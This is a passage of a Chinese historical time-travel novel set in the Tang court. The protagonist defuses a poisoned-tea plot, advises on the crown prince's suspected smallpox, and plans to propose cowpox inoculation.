暖阁不大,陈设简单,生了炭盆,颇为暖和。李瑾静坐等候,心中将说辞反复默念。大约过了小半个时辰,阁外传来脚步声和女子交谈声,一个是周尚宫,另一个则是一位嗓音略显苍老、但中气颇足的老妇人声音。
“……这宫里路径曲折,老身都有些转向了。尚宫,这暖阁倒是清净。”
“老夫人这边请,稍坐片刻,老奴去给您端碗热羹来。”
暖阁门被推开,周尚宫引着一位头发花白、面容慈祥、眼神清亮、穿着褐色团花锦袄的老妇人走了进来,正是左监门将军郭孝恪之母郭老夫人。周尚宫对李瑾使了个眼色,便借口去端热羹,退了出去,轻轻带上了门。
暖阁内只剩下李瑾与郭老夫人。
郭老夫人目光落在李瑾身上,见他脸色苍白,衣着朴素,起身行礼时身形微晃,不由关切道:“这位郎君是?面色怎地如此不好?快坐下说话。”
“晚辈李瑾,见过郭老夫人。” 李瑾依礼见过,在郭老夫人示意下重新坐下,苦笑道:“不敢隐瞒老夫人,晚辈昨日侥幸蒙陛下恩典,为太子殿下讲学,归家后突发急症,腹痛呕恶,折腾了一夜,今日方好些。皇后殿下召晚辈来呈送新制的香露,不想冲撞了老夫人,还请老夫人恕罪。”
“讲学?急症?” 郭老夫人眉头微皱,在李瑾对面坐下,“老身听皇后殿下提过一句,说有个年轻宗室子,诗才杂学都不错,在给太子讲些新鲜见识,莫非就是你?怎地突然就病了?可请了太医?”
“劳老夫人挂心,已请了相熟的郎中看过。” 李瑾斟酌着词句,面露困惑与些许后怕,“说来奇怪,郎中诊脉后说,晚辈这症候,不似寻常风寒食滞,倒像是……误食了某种与姜茶相冲相克之物,引发了肠胃气机逆乱。可晚辈昨日饮食简单,只在东宫讲学后,饮了一碗殿下赏赐的驱寒姜茶……”
“东宫?姜茶?” 郭老夫人眼神一凝,她是将门之母,又在后宫沉浮多年(其子郭孝恪是李治潜邸旧臣),政治嗅觉极为敏锐。“那姜茶可有何不妥?”
“茶是寻常姜茶,奉茶的内侍也是东宫旧人。” 李瑾摇头,语气愈发沉重,“更让晚辈不解的是,晚辈病倒在家,尚未来得及告知旁人,宫中竟已有流言,说晚辈身有宿疾,体弱多病,恐……恐将病气过给太子殿下。晚辈自问身体虽非强健,却从无宿疾,此等流言,不知从何而起,真真令晚辈惶恐不安,又百口莫辩。若因晚辈之故,损及东宫清誉,或让陛下、皇后殿下忧心,晚辈真是万死难辞其咎。” 他说着,眼眶微红,似是又急又愧。
郭老夫人听着,脸色渐渐沉了下来。她久经世故,李瑾这番话虽未明指,但其中关节,她岂能听不出?东宫姜茶,食物相克,随即流言四起,直指讲官健康危及储君……这分明是有人设局构陷,一石二鸟!既打击了这年轻的讲官,又可能离间太子与皇帝,甚至给皇后难堪!
“岂有此理!” 郭老夫人手中拐杖重重一顿,脸上露出怒容,“东宫是何等所在,太子讲学是何等严肃之事,竟有宵小之辈,行此鬼蜮伎俩!构陷讲官,散布流言,动摇国本,其心可诛!” 她看向李瑾,目光转为温和与同情,“李小郎君,你受委屈了。此事你并未做错什么,是有人见你得陛下、皇后青眼,又能在太子身边进言,心中嫉恨,故下此毒手。这流言恶毒,专攻人心弱点,你需尽快澄清,否则纵使无事,也难免在陛下心中留下芥蒂。”
“老夫人明鉴!” 李瑾起身,深深一揖,“晚辈人微言轻,又初涉宫廷,骤逢此事,方寸已乱。不知该如何自处,才能既洗刷污名,又不致掀起波澜,反令陛下、殿下烦心?恳请老夫人指点迷津。”
郭老夫人沉吟片刻,道:“你既坦诚相告,老身也不瞒你。稍后陛下会来常宁殿,老身或许能见上一见。这等事,老身或许可以‘闲谈’几句,提一提往日旧事。太宗朝时,便有过类似构陷忠良之事,以‘身有隐疾、妨害贵人’为名,幸得太宗皇帝明察秋毫,未使忠臣蒙冤。陛下仁孝聪慧,必能体察。只是……” 她看着李瑾,“你自己也需有所准备。那姜茶、奉茶内侍,乃至流言源头,可能查明?”
“晚辈已托可靠之人暗中查探,只是尚无确凿证据。” 李瑾如实道,“太医署刘神威医士,乃孙真人高足,品性端方,晚辈已向其请教药性相克之事,或能有所得。”
“孙真人的弟子?那便好。” 郭老夫人点头,“此事你处理得还算沉稳。记住,清者自清,但亦需有雷霆手段,揪出幕后黑手,方能永绝后患。陛下皇后面前,老身会相机行事。你且宽心,保重身体要紧。太子殿下那边,你下次讲学,更需用心,以实学服人,流言自破。”
“多谢老夫人教诲!晚辈感激不尽!” 李瑾再次郑重行礼。郭老夫人肯出面,此事便成功了大半。
这时,周尚宫端着热羹进来,又低声对郭老夫人道:“老夫人,陛下御驾已快到常宁殿了,皇后殿下请您过去呢。”
“好,老身这就去。” 郭老夫人起身,对李瑾点点头,在周尚宫搀扶下离去。
李瑾留在暖阁,心中稍定。郭老夫人态度鲜明,且答应相助,这是最关键的一步。接下来,就看陛下那边了。
约莫过了一个多时辰,周尚宫匆匆回来,脸上带着一丝如释重负的笑意,低声道:“李公子,事情成了。郭老夫人当着陛下和皇后殿下的面,‘闲聊’时提起太宗朝旧事,又‘偶然’关切地问起皇后,是否听闻东宫新来讲学的一位李姓宗室子病了,还听闻有些不好的传言,说其有宿疾云云,言下颇为这些年轻人抱不平。陛下当时听了,未置可否,但明显留心了。皇后殿下顺势进言,说已派人问过,李瑾是昨日出宫后突发急症,似是饮食不调,已无大碍,并非宿疾,至于流言,恐怕是有人以讹传讹,或别有用心。陛下沉吟片刻,只说了句‘朕知道了’,便岔开了话题。但老身观陛下神色,已是不悦。离开常宁殿时,陛下特意吩咐近侍,去太医署传刘神威,询问一些养生药性之事。陛下……心里已有计较了。”
李瑾长长舒了一口气。皇帝没有当场发作,这是意料之中。但“朕知道了”这三个字,加上特意传唤刘神威,足以表明皇帝已将此事放在心上,并且可能已经开始暗中调查。这就够了!只要皇帝起了疑心,那些流言就再也伤不到自己根本,甚至可能成为追查幕后黑手的引子。
“多谢尚宫周全!此恩瑾铭记于心。” 李瑾诚心道谢。
“公子客气了,皇后殿下吩咐的事,老奴自当尽力。” 周尚宫道,“公子先回府静养吧。刘医士那边若有何消息,殿下会让人告知。东宫讲学,殿下之意,公子可告假两日,待身体康复、流言稍息后再去。太子殿下那边,殿下也会安抚。”
“是,瑾明白。”
出宫回府,李瑾觉得身上松快了许多,连病后虚乏都似乎减轻了。刚到家不久,刘神威竟亲自登门,脸色颇为凝重。
“瑾兄,你信中所言之事,我仔细思量,又暗中查验了太医院一些古籍,并询问了恩师。” 刘神威压低声音,“与姜相冲,可致腹痛呕恶、气机逆乱之药物,确有不少。其中有一味‘赤芍’,若与姜同用,可增其辛散之性,过则伤中,引发痉挛呕恶。赤芍活血化瘀本是良药,但若用量或制法有偏,其性可滞。更重要的是,赤芍研极细粉,或经特殊炮制,可近乎无色无味。”
赤芍!李瑾记下了这个名字。
“另外,” 刘神威声音更低,“陛下午后突然传我,问的便是药食相克之理,尤其提到姜与何物同用可能致人急症。我据实以告,提及数种,包括赤芍。陛下听后,沉吟良久,又问我,若有人将此等药物暗中置于饮食器皿,可能查验。我言,若残留极少,或器物已清洗,则难。但若及时取得原物,或可尝试以银针、或特定药水测试。陛下便未再多言,令我退下了。瑾兄,陛下此问,只怕与你之事有关。你是否……”
“神威兄,” 李瑾打断他,拱手道,“兄长相助之情,瑾感激不尽。此事牵连甚广,兄长知道得越少越好。今日之言,出兄之口,入弟之耳。兄长只需记得,陛下若有垂询,但以医者本分,据实回答即可。其余之事,兄长不必过问,以免卷入无谓纷争。”
刘神威看了李瑾一眼,见他神色郑重,也知宫廷之事水深,便点点头:“我明白了。瑾兄保重,若有需医药相助之处,尽管开口。”
送走刘神威,李瑾独自思忖。皇帝果然已经动了疑心,并且开始从专业角度调查。赤芍……这是个重要线索。接下来,就要看王掌柜那边对“保和堂”的调查,以及……东宫那个胡内侍,会不会有什么动作了。
他决定以静制动,告病不出,暗中观察。两日后,李福回报,王掌柜那边查到,月前确有一位五十多岁、官家仆妇打扮的老妪去过保和堂,以“家中女主人产后淤血不净”为由,购买过上等赤芍,且特意要求药堂代为研磨成极细的粉末,说是方便服用。老妪出手阔绰,不似寻常仆役。保和堂的伙计依稀记得,那老妪出门后,似乎上了一辆挂着“萧”字灯笼的马车。线索到此,虽不能直接指证萧淑妃,但链条已隐约可见。
另一方面,东宫传来消息,太子殿下得知李瑾“感染风寒”,特意派内侍送来宫中御制的“参苏饮”和几样珍贵药材,并传口谕让他安心静养,痊愈后再行讲学。太子此举,无疑是对“身有宿疾”流言的无声否定,也是一种安抚和挽留。
与此同时,宫中关于李瑾“宿疾”的流言,仿佛被一只无形的手遏止,迅速平息下去,再无人敢公然议论。偶尔有人提起,也会被旁人以“皇后殿下都说了是饮食不调,已好了”、“太子殿下还亲自赐药了呢”等话堵回去。
数日后,李瑾身体基本康复,正准备恢复东宫讲学,忽然从杜铭处得知一个消息:东宫崇文馆奉茶的内侍胡公,前日当值时“不慎”跌入后苑结冰的池塘,虽然被及时救起,但感染了严重风寒,高烧不退,已被移出东宫,送往宫人专用的病坊将养,据说情形不太好,怕是难再当差了。
李瑾闻讯,默然良久。胡内侍是棋子,也是弃子。他“不慎”落水,是意外,还是被人灭口?恐怕后者可能性更大。这条线,到此算是断了。但胡内侍的“意外”,本身也说明了一些问题——幕后之人急于掐断线索,这反而印证了其心虚。
“棋局”至此,李瑾一方算是稳住了阵脚,澄清了污名,保住了东宫讲学的资格,还让皇帝心中埋下了对构陷者的疑窦。而对手,损失了一枚暗子,可能还引起了皇帝的警觉,虽未伤筋动骨,但锐气已挫。
雪后初晴,李瑾站在院中,活动着有些僵硬的筋骨。阳光照在未化的积雪上,有些刺眼。
“公子,感业寺那边的回信。” 李福悄声递上一卷经书。
李瑾回到房中,译出密信。武曌的信依旧简短:“闻风波暂息,甚慰。胡内侍事,已知。断尾求生,常理也。然其主必不甘休,当防后续。郭老夫人处,情分已结,可善用之。东宫讲学,当更求精进,尤要留心太子身边其余人等。妾在寺中,一切顺遂,不日或有小成。望君珍重,步步为营。”
步步为营。李瑾将信纸凑近烛火,看着火焰将其吞没。
这第一场来自宫廷的暗算,他凭借王皇后的援手、郭老夫人的仗义执言、刘神威的专业知识、王掌柜的市井耳目,尤其是武曌那精准的情报分析和谋划,有惊无险地化解了,还顺势布下了几颗棋子(郭老夫人、刘神威)。
但武曌说得对,对手不会甘心。胡内侍的死(或重病),是警告,也是序幕。东宫那个地方,看似平静,实则暗流更急。太子身边,还有多少双眼睛?萧淑妃那边,下一次又会射出怎样的暗箭?
他走到书案前,摊开为太子准备的下一次讲学内容——关于“城池攻防与器械革新”。这一次,他要讲得更精彩,更让太子印象深刻。因为唯有展现不可替代的价值,赢得太子真正的认可与信任,他才能在这东宫的漩涡中,扎下更深的根基。
反手布下的棋局,才刚刚开始。他与武曌,一在朝堂边缘,一在寺庙深处,两颗棋子遥相呼应,已然在这大唐的天穹下,悄然划出了第一道微不可察、却注定将改变轨迹的星痕。
第31章 东宫有疾
时序轮转,冬意渐深。长安城内外,已是一片银装素素。自“姜茶风波”平息后,李瑾的日子似乎重归某种刻意的平静。他恢复了每月三次的东宫讲学,内容愈发精进,从水利、地理延伸到简易的机械原理、乃至模糊的天文历法概念,皆以生动故事和实际操作(如制作简易模型、绘制地图)包裹,太子李忠显然对这些“杂学”兴趣渐浓,提问也越发深入。左庶子于志宁虽仍不苟言笑,但不再出言干涉,有时甚至会在李瑾讲述某些与经义可印证之处时,微微颔首。东宫的氛围,表面上和谐而有序。
李瑾与感业寺中武曌的密信往来,也进入了一个新的阶段。除了互通消息、分析局势,李瑾开始有意识地将一些经过“翻译”和“包装”的现代管理、经济、甚至基础科学理念,以“海外异闻”、“古书臆测”或“个人愚见”的形式,夹在信件中,潜移默化地影响着武曌的思维。而武曌的回应,则显示出她惊人的吸收与转化能力,往往能结合宫廷、寺院的实际,提出更具操作性的见解,甚至反向启发李瑾。二人虽未见面,但这种跨越空间的思想交流与磨合,让他们的同盟关系愈发紧密和富有成效。
与此同时,李瑾的“明玻”工坊在极端保密的情况下,取得了突破性进展。在王掌柜重金搜罗下,他们找到了一种品质极佳的天然石英矿脉,并改进了纯碱的提纯工艺。经过无数次试验,李瑾终于指导匠人烧制出了几片接近无色透明、气泡和杂质极少的小块平板玻璃!虽然面积不大,厚薄也难完全均匀,但其晶莹剔透、可透视万物的特性,已足以震撼这个时代任何见到它的人。李瑾谨慎地将其切割、打磨,制成数面小巧的“水玉镜”和放大镜片,效果远超当时最好的铜镜和单片水晶。他没有立刻让这些“神器”面世,而是小心藏匿,等待最合适的时机。
“姜茶风波”看似过去,但李瑾深知,萧淑妃及其背后的势力绝不会善罢甘休。胡内侍的“意外”落水重病,是警告,也是暂时蛰伏。他让王掌柜和李福的耳目,始终保持着对萧氏外戚、以及与萧淑妃过从甚密的几位官员、内侍的暗中关注,同时,也通过刘神威,留意着太医署内任何与萧淑妃宫中(尤其是那位通药理的陈宫人)有关的异常动向。他如同一个耐心的猎手,在平静的水面下,张开了无形的网。
然而,一场真正的风暴,往往起于青萍之末,来自最意想不到的方向。
腊月初,长安城连日大雪,天寒地冻。这一日,李瑾照例前往东宫讲学。他今日准备的内容是“雪与冰的妙用”,打算结合一些简单的物理现象(如凝华、融化吸热等),讲解雪盲的预防、冰窖储冰、乃至简易的“冷藏”概念,并计划用硝石制冰的小实验来收尾。他觉得,在寒冬时节讲这些,既应景,又能激发太子的兴趣。
然而,当他踏入崇文馆时,立刻察觉到了不同寻常的气氛。殿内炭火烧得很旺,却弥漫着一股压抑的焦虑。太子李忠的座位空着,只有于志宁和几位侍读、属官在座,个个面色凝重。于志宁更是眉头紧锁,手中无意识地捻着一串念珠。
“于公,太子殿下今日……” 李瑾上前见礼,心中升起不祥的预感。
于志宁抬眼看他,眼中带着血丝,显然未曾休息好。他挥了挥手,示意其他人暂且退下,只留下李瑾。“李公子,你来得正好,也省得老夫再派人去寻你。太子殿下……染恙了。”
“染恙?” 李瑾心中一紧,“不知是何症候?严重否?可请了太医?”
“前日夜间,殿下忽发高热,头痛畏寒,周身酸痛。起初以为是寻常风寒,太医署也按风寒开了方子。然服药后,高热不退,反有加剧之势。昨日,殿下身上开始出现零星红疹,先见于面颈,渐及胸背。今日晨起,红疹增多,且有些已转为小水疱,殿下烦躁不安,咽痛难忍,几不能食。” 于志宁的声音沉重,带着深深的忧虑,“太医署王署令、刘副署令等数位太医皆已诊视,然……众说纷纭,莫衷一是。有言是‘时行温病’,有言是‘丹疹’,亦有疑是……‘痘疮’之兆!”
痘疮!天花!
这两个字如同惊雷,在李瑾脑海中炸响!在这个时代,天花是不折不扣的绝症,死亡率极高,即便侥幸存活,也往往留下满脸麻坑,甚至失明、残疾。而对于皇室,尤其是太子而言,若确诊天花,不仅是个人生死,更可能引发朝局动荡、储位之争!难怪于志宁如此焦虑,太医署如此慌乱!
“痘疮……” 李瑾强迫自己冷静,快速搜索着关于天花的现代医学知识。高热、出疹、水疱、咽痛……这些症状确实符合天花的典型病程。但麻疹、水痘、严重药物疹等也可能有类似表现,尤其在早期,极易混淆。“太医们可曾言明,究竟是不是痘疮?有何依据?”
“正是难以断定!” 于志宁叹道,“王署令倾向‘时行温病’,认为出疹乃是热毒外透,主张用清热凉血透疹之剂。刘副署令则疑是‘丹疹’(可能指猩红热或严重麻疹一类),主张解毒利咽。至于痘疮……只因症状有几分相似,且近日城中确有几例痘疮上报,故有人疑心。然殿下身上水疱初起,形态未明,且殿下从未出过痘,亦无明确接触痘疮患者之史,故太医署亦不敢骤下断言。陛下与皇后殿下闻讯,已亲临探视,忧急万分。陛下已严令太医署竭尽全力,务必保殿下平安,并封锁消息,严禁外传,以免引起恐慌。”
李瑾的心沉了下去。太医署内部意见不一,说明病情复杂凶险。而皇帝下令封锁消息,更是表明事态严重,一旦太子真是天花,且有不测,后果不堪设想。这不仅是医疗危机,更是政治风暴!
“太子殿下现在何处?可容臣……前往探视?” 李瑾问道。他必须亲眼看看症状。虽然他不是专业医生,但现代人对于天花、麻疹、水痘等疾病的典型特征和区别,有着比古人更清晰的认知框架。或许能看出些端倪。
于志宁犹豫了一下。按理说,李瑾只是讲学,并非东宫属官,更非医者,此时不宜接近病中的太子。但李瑾之前展现出的“杂学”见识,尤其是与孙思邈的交情,以及“姜茶风波”中表现出的沉稳,让于志宁对他有了一丝不同于寻常年轻士子的信任。眼下太医署束手,任何一丝可能的助力,都值得尝试。
“殿下现在寝殿静养,由皇后殿下亲自照料,闲杂人等不得靠近。” 于志宁压低声音,“不过,老夫可设法带你到寝殿外厢,隔着帘幔,远远看上一眼。你……可懂些医理?或见过类似症候?”
“臣不敢言懂医理,只是读书杂乱,对海外一些奇异病症的记载略有印象。或许……能提供些许不同角度的观察,供太医参考。” 李瑾谨慎回答。
“……也罢,你随我来。切记,只看,勿言,勿近,一切听老夫安排。” 于志宁起身,带着李瑾,穿过重重殿宇回廊,来到东宫深处的太子寝殿“丽正殿”。
殿外戒备森严,侍卫、内侍林立,气氛凝重。殿内飘出浓重的药味。于志宁与值守的宦官低语几句,那宦官看了李瑾一眼,面露难色,但最终还是点了点头,掀起厚重的门帘一角。
李瑾站在厢房门口,透过掀起的帘隙和数重纱幔,隐约看到内殿榻上躺着一个小小的身影,盖着锦被。王皇后坐在榻边,身影疲惫。几名太医在稍远处低声商议。空气中除了药味,似乎还隐隐有一丝……不太好闻的气息。
他的目光努力聚焦在太子露在锦被外的脸颊和脖颈上。距离不近,光线也被帘幔遮挡,看得不甚真切,但依稀可见,太子脸颊、脖颈处确实布满了红色斑疹,其中一些似乎已隆起,顶端有细微的反光,似是极小的水疱。太子似乎很不安稳,在枕上微微转动着头,发出痛苦的**。
就在这时,一名宫女端着水盆从内殿出来,经过厢房门口。盆中的水略显浑浊,似乎用过。李瑾眼尖,瞥见水面上似乎漂浮着些许……脱落的皮屑?还是别的什么?
“如何?可看出什么?” 于志宁在他耳边低声急问。
李瑾收回目光,眉头紧锁。仅凭这远远一瞥,他无法确诊。高热、出疹、水疱,确实符合天花,但水痘、严重麻疹也有可能。关键在于水疱的形态、分布规律、以及是否“脐凹”(天花典型特征),还有口腔粘膜是否出现疹子(科氏斑,麻疹特征),这些细节,他根本无法看清。
“于公,距离太远,臣难以细辨。但听殿下**咽痛,观其红疹水疱初起,此症确实凶险。” 李瑾斟酌道,“臣记得海外杂记中,有区分几种‘出疹热病’之法。其一曰‘痘疮’,其疹深藏皮内,疱顶常有凹陷,形似脐窝,且多同时出现,从面颈至躯干四肢,离心性分布,疱液初清后浊。其二曰‘水痘’,其疹浅表,疱壁薄易破,多分批出现,向心性分布(躯干多,四肢少),且常有瘙痒。其三曰‘麻疹’,其疹为红色斑丘疹,常先有口腔粘膜白点,出疹时高热更甚。不知太医诊视时,可曾注意殿下身上水疱具体形态、分布,以及口中可有异常?”
他将天花的“脐凹”、“离心分布”,水痘的“分批出现”、“向心分布”、“疱壁薄”,麻疹的“科氏斑”等关键鉴别点,用古人能理解的语言描述出来,希望能为混乱的太医署提供一点清晰的思路。
于志宁听罢,眼中闪过一丝希望的光芒。李瑾所言,条理清晰,区别明确,远超太医们之前含糊的“时行”、“丹疹”之说。“你且在此稍候,老夫去问问刘副署令。” 于志宁匆匆转身,走向那几位正在商议的太医。
李瑾站在原地,心念急转。如果真是天花,在这个没有疫苗、没有特效抗病毒药物的时代,治疗几乎全靠患者自身免疫力和支持治疗,死亡率极高。太子年幼,未必扛得住。而且,一旦确诊,东宫必将被彻底隔离,甚至可能引发更大范围的恐慌和清洗。萧淑妃那边,会如何动作?她会借此机会,再次兴风作浪吗?
必须尽快查明病因!如果是水痘或严重麻疹,虽然也凶险,但比天花预后要好得多,治疗方案和隔离措施也不同。
这时,于志宁带着刘副署令走了过来。刘副署令年约五旬,面容清瘦,此刻也是满面愁容。他看了李瑾一眼,对于志宁道:“于公,这位李公子所言差异,确有些道理。只是……殿下身上水疱初起,大小不一,有些似有凹陷,有些又无。分布也确实以头面、躯干为多,四肢较少。口中……我等查看时,殿下咽部红肿,确有少许灰白色小点,但不知是否是公子所言‘麻疹’之兆。眼下症状混杂,实难遽断啊!”
水疱有凹陷(脐凹)!分布向心(头面躯干多)!口中有灰白点(可能是科氏斑,也可能是化脓性扁桃体炎分泌物)!症状混杂!李瑾听了,心中更是沉重。这听起来,既有点像天花,又有点像麻疹,甚至可能合并了细菌感染?病情复杂,太医们经验主义判断,自然容易分歧。
“刘大人,眼下最要紧的,是控制殿下高热,预防并发症,并严格隔离,防止扩散。” 李瑾沉声道,“无论是否是痘疮,此症具传染性无疑。东宫一应人等,尤其是近身侍奉者,需严密防护,其衣物用具需沸煮或暴晒,居所需通风,但避免殿下直接吹风受寒。殿下所用汤药、饮食,需格外洁净。此外……” 他顿了顿,“需立即查清,近日东宫内外,可有人患过类似出疹热病?或与宫外痘疮患者有过接触?太子殿下近日接触过哪些人、物?尤其是……可能来自宫外的。”
他想到了“姜茶风波”。那次是针对自己。这次太子突发急症,是否也可能是人为?如果是,那手段就太骇人听闻了!但如果是意外传染,查清传染源和途径也同样至关重要。
于志宁和刘副署令对视一眼,都意识到了问题的严重性。“李公子提醒的是。隔离防护,太医署已着手安排。至于追查接触……此事需禀明陛下和皇后殿下。” 于志宁道。
就在这时,一名内侍匆匆进来,在于志宁耳边低语几句。于志宁脸色一变,对李瑾和刘副署令道:“陛下召我等即刻前往两仪殿偏殿议事。刘大人,李公子,你们也一同去吧。只怕……朝中已有风声了。”
果然!消息封锁不住!李瑾心中一凛。太子重病,疑似天花,这样的消息,怎么可能完全瞒住?那些在宫中、朝中各有耳目的势力,恐怕早已得知。此刻皇帝召见,必是局势已有变化。
三人匆匆赶往两仪殿。偏殿内,气氛比东宫更加压抑。皇帝李治端坐御座,面色阴沉,眼圈发黑,显然一夜未眠。王皇后坐在下首,以帕拭泪,形容憔悴。御座之下,除了几位重臣,李瑾还看到了两张熟悉的面孔——长孙无忌和褚遂良!这两位太宗留下的顾命大臣、当朝宰相,竟然也在此!可见事态之严重,已惊动了朝堂最顶层。
此外,萧淑妃竟也坐在皇后下首不远,面带忧色,但眼神深处,却有一丝难以察觉的复杂光芒。
李瑾与于志宁、刘副署令上前行礼。
“太子病情如何?可有了定论?!” 李治的声音带着压抑的怒火和焦虑,直接问道。
刘副署令噗通跪下,颤声道:“陛下恕罪!殿下之症,高热出疹,确系瘟热之象。然疹形未定,诸医见解不一,或云时行,或云丹疹,或疑……痘疮。臣等无能,尚未能确诊,但已用尽方法,为殿下退热安神。眼下……殿下仍昏沉烦躁。”
“尚未确诊?朕要你们太医署何用!” 李治猛地一拍御案,震得茶盏乱响,“太子若有闪失,你们……你们统统给朕……”
“陛下息怒!” 长孙无忌出列,声音沉稳,带着久居上位的威势,“太子染恙,臣等心如刀割。然当务之急,乃竭尽全力救治太子,查明病因,严防扩散。太医署众医士已尽力,此时降罪,恐于太子病情无益。老臣以为,当广征天下名医,共商诊治之策。同时,东宫需即行严隔,一应人员不得随意出入,以免瘟病流传,祸及宫闱乃至京师。”
褚遂良也附和道:“长孙司徒所言极是。太子乃国本,万不可有失。陛下,是否可下旨,命京兆府严查近日京师痘疮疫情,凡有可疑,立即上报。并令太常寺、宗正寺预备相关仪典祈福之事?”
这两位老臣,一个提出务实措施(隔离、征医),一个则顾及礼制与稳定(祈福),考虑周全,暂时压制了皇帝的怒火,也将事件处理纳入了朝廷规程。
李治胸膛起伏,勉强压下怒火,对于志宁道:“于卿,东宫一应事务,由你暂领,务必严守门户,照料好太子。太医署所有人,给朕留在东宫,不许离开,直至太子病情明朗!若有疏忽,提头来见!”
“臣遵旨!” 于志宁叩首领命。
“陛下,” 萧淑妃忽然柔声开口,眼中含泪,“太子殿下突遭此难,臣妾心中亦是痛极。臣妾想起,妾身宫中有一老宫人陈氏,早年曾在尚药局侍奉,略通医理,尤擅辨识疑难杂症。可否让她前去东宫,协助太医们看看?多一人,或许多一分指望。” 她提到了陈宫人!那个可能与“姜茶风波”中赤芍有关的陈宫人!
李瑾心中警铃大作!萧淑妃此刻推荐她的人去东宫“协助”,是想趁机安插眼线,打探虚实?还是……有更深的图谋?
王皇后闻言,立刻抬头,眼中闪过厉色:“淑妃好意,本宫心领。然东宫如今已行严隔,太医署众医士皆在,更有刘副署令等圣手,无须再劳动淑妃宫中之人。陈宫人年事已高,莫要过了病气。”
萧淑妃泫然欲泣:“皇后殿下,臣妾只是忧心太子……”
“好了!” 李治烦躁地打断,“东宫有太医署足矣。淑妃有心了。” 他显然此刻无心处理后宫争执,目光扫过殿中众人,最后,竟落在了垂手侍立的李瑾身上。
“李瑾,” 李治忽然点名,“你方才也在东宫。朕闻你平日博览杂书,于海外医事亦有耳闻。以你之见,太子之症,可有类似记载?或……有何见解?”
瞬间,所有人的目光,包括长孙无忌、褚遂良这两位帝国巨擘的目光,都聚焦在了李瑾身上。压力如山!
李瑾深吸一口气,出列躬身,声音竭力保持平稳:“回陛下,臣于医道实是外行,不敢妄断。然臣确在杂书中见过海外记述,类似出疹热病,有数种,其凶险、治法、乃至传染强弱,各有不同。关键在于细辨疹形、病程、及伴随之症。适才臣已将于公与刘副署令提及的几点鉴别之处禀明。眼下太医署众位大人正在全力诊辨,想必很快会有更明确的结论。臣以为,当务之急,除孙司徒所言严隔、广征名医外,还需立即彻底追查太子殿下近期行止接触,尤其是可能接触过的染病之人或可疑之物,查明传染源,一则有助于判断病情,二则可切断传播,防患于未然。臣……臣曾闻,有些恶疾,亦可借由某些不起眼的物件间接传播。” 他再次强调了追查接触史和传染源的重要性,并隐晦地提醒了“物件传播”的可能性(针对可能的阴谋)。
李治听着,阴沉的目光微微闪动,似乎在思索。长孙无忌也看了李瑾一眼,眼神深邃,不知在想什么。
“朕知道了。” 李治疲惫地摆摆手,“就依长孙司徒、褚仆射所言去办。于志宁,东宫就交给你了。李瑾……你既在太子身边讲学,近日也莫要离开长安,随时听候传唤。都退下吧。”
“臣等告退。”
走出两仪殿,寒风扑面。李瑾感到后背已被冷汗浸湿。他知道,真正的危机,现在才刚开始。太子病重,朝局震动,各方势力必然蠢蠢欲动。而太子的病,究竟是时疫,还是……人为?
他必须立刻联系武曌。她在宫中旧人更多,或许能打听到更多关于陈宫人、乃至近期宫内外疫情的消息。同时,他自己也要动用一切力量,暗中调查。
东宫的雪,似乎下得更大了。那晶莹的雪花,此刻落在李瑾眼中,却仿佛带着森然的寒意。一场关乎国本、也关乎他自身命运的巨大风暴,已然降临。
第32章 瑾献牛痘法
自两仪殿归来,长安城的天空铅云低垂,压得人喘不过气。东宫太子李忠重病、疑似“痘疮”的消息,虽经严令封锁,然宫禁之内、朝堂之上,暗流已汹涌如潮。李瑾被勒令“不得离京,随时听候传唤”,实则是被变相软禁于崇仁坊宅中,不得随意走动。他知道,自己这枚刚刚在东宫落下不久的棋子,已然成了这场风暴中一个微妙的存在——既因“讲学”身份与太子有了关联,又因“杂学”和“献策”在皇帝面前挂了号,更因“姜茶风波”与某些势力结了怨。此刻,无数双眼睛或许正盯着他,看他如何在太子病危、朝局震荡的险境中自处,甚至……能否再“显奇能”,抑或就此沉没。
李福忧心忡忡,将宅门紧闭,谢绝一切访客,连王掌柜都只能通过最隐秘的渠道递送消息。李瑾将自己关在书房,强迫自己冷静,梳理眼下所知的一切线索。
首先,是太子的病情。根据刘副署令的描述和自己那远远一瞥,症状确实凶险复杂,天花、麻疹、水痘甚至严重的药物反应或合并感染都有可能。在没有现代检测手段的唐代,要确诊极难,而不同的诊断,意味着完全不同的治疗方案、预后判断和……政治后果。若真是天花,太子存活希望渺茫,且极易引发大规模疫情和政治清洗。若是其他,或许还有生机。
其次,是传染源。太子深居东宫,接触外人有限。近期唯一的外出,是半月前随帝后于禁苑赏雪,但禁苑并无疫情上报。东宫内部人员近期也无染病者。那么,病毒(或病因)从何而来?是宫外带入的物件?还是……人为?他想起了萧淑妃推荐的陈宫人,想起了“姜茶风波”中与姜相冲的“赤芍”。若是人为,其心可诛,其手段也必然极其隐秘。但若是意外,也必须尽快切断传播链。
第三,是各方反应。皇帝忧惧震怒,但尚能听取长孙无忌等老臣意见,稳住朝局。王皇后心力交瘁,亲自照料太子,但也严防死守,拒绝了萧淑妃安插人手的企图。萧淑妃表面忧戚,实则动作频频,其动机最值得警惕。长孙无忌、褚遂良等重臣,首要考量是朝局稳定和国本安危,他们的态度,将极大影响事态走向。
最后,是自己能做什么?他不是医生,没有特效药。但他有超越千年的医学常识和防疫理念,更有对“天花”这种烈性传染病相对清晰的认知,尤其是——他知道“人痘”和“牛痘”的预防原理!虽然牛痘疫苗的具体制备在这个时代是痴人说梦,但“人痘接种”的原始概念,在中国古代并非没有雏形(如传说中的“痘衣法”),只是风险极高,未被广泛接受和规范化。而“牛痘”的安全性远高于“人痘”,这个关键认知,是这个时代任何人都不具备的!但,如何证明?如何取信于皇帝和太医署?尤其在太子已经发病的情况下,提“预防”似乎为时已晚,但……或许,可以另辟蹊径?
他铺开纸笔,开始梳理关于天花的一切知识:病原特性(病毒)、传播途径(飞沫、接触)、潜伏期、典型症状(特别是发热、皮疹、水疱、脓疱、结痂的演变过程,以及特征性的“脐凹”)、并发症、病死率、以及幸存者获得终身免疫的特性。还有关键的一点:患过牛痘(一种牛的轻微疾病)的人,会对天花产生交叉免疫,且症状极轻。这就是“牛痘接种”的原理。
他不能直接写“病毒”、“免疫”,必须用这个时代能理解的“戾气”、“胎毒”、“疫气”、“以毒攻毒”、“获得抵抗”等概念来解释。他将这些知识点,结合一些模糊的“海外见闻”,尤其是关于“西域胡商中有种牛人,罕见患痘疮,疑与其牧养之牛患有类似小疮有关”的传言,草拟成一份纲要。他决定,如果时机合适,就将这份东西,以“海外防疫异闻及臆测”的形式,设法递上去,或许能给束手无策的太医署,提供一个全新的、或许能救命的思路——不仅仅是为太子,更是为可能爆发的更大疫情。
